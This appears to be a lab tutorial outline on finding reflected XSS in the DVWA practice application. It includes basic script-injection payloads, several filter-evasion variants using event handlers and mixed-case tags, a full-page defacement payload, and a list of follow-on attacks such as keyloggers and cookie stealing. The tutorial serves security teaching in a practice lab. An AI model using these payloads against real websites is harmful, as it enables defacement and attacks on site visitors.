Discovering Basic Reflected XSS

- Discovery
  - try to inject javascript text boxes and url parameter on the form
  - if the text you are entering appears in the url, there may be a vulnerability
- Reflected XSS
  - non-persistent, not stored
  - only works if the target visits a specially crafted URL

1. Login to DVWA
2. DVWA Security
   a. script security -> LOW
3. XSS Reflected
4. Write your name, point out that it appears on the page as well as in the URL
   a. This is a GET request
5. Simple script
   a. <script>alert("XSS")</script>
   b. Use alert() function as our sample so we can quickly tell if the javascript was injected
   c. now, the page is executing our code!!!
   d. often, <script> tags will be sanitized out
      i. have to find more clever ways of executing javascript, such as in css style directives
   e. copy and paste the URL
   f. now, if you send that URL to anybody else, if they open the URL, this will be executed on their machine
6. Show how the code is being directly injected into the webpage by clicking Inspect Element

Discovering Advanced Reflected XSS

1. DVWA Security
   a. script security -> Medium
2. <script>alert("XSS")</script>
3. Show difference in how the tag is being filtered by showing page source again
   a. Inspect Element and click on "Hello alert("xss")"
4. How to avoid the filter?
   a. capitalize some of the letters
      i. <sCripT>alert("XSS")</sCriPt>
   b. Other options
      i. <a onmouseover="alert('xss')">xss link</a>
      ii. <IMG SRC=# onmouseover="alert('xxs')">
      iii. <IMG SRC=/ onerror="alert('xxs')"></img>

        iv. <scriPT>alert(1)</Script>
        v. <button onclick="alert(1)">Click here</button>
        vi. <a href="javascript:alert(1)">User</a>
        vii. <img onerror="alert(1)" src="/" />
    c. A lot of difficulty of XSS simply comes from avoiding XSS filters
5. Demo: How this could be used to attack someone
    a. copy the link (GET request) and paste it into a Chrome search bar. demonstrate that on another computer, the same attack could be carried out if the url was opened

Other Cool Things

1. Defacement
    a. <div style="font-size: 72px; background: black; height:100vh; width: 100vw; position: fixed; top:0; left: 0; text-align: center; font-family: Courier; color: #33ff33; display: flex; flex-flow: column nowrap; justify-content: center"><div>The NSA is watching!</div></div>
2. Keyloggers
3. Cookie Stealing
4. Metasploit
5. Worm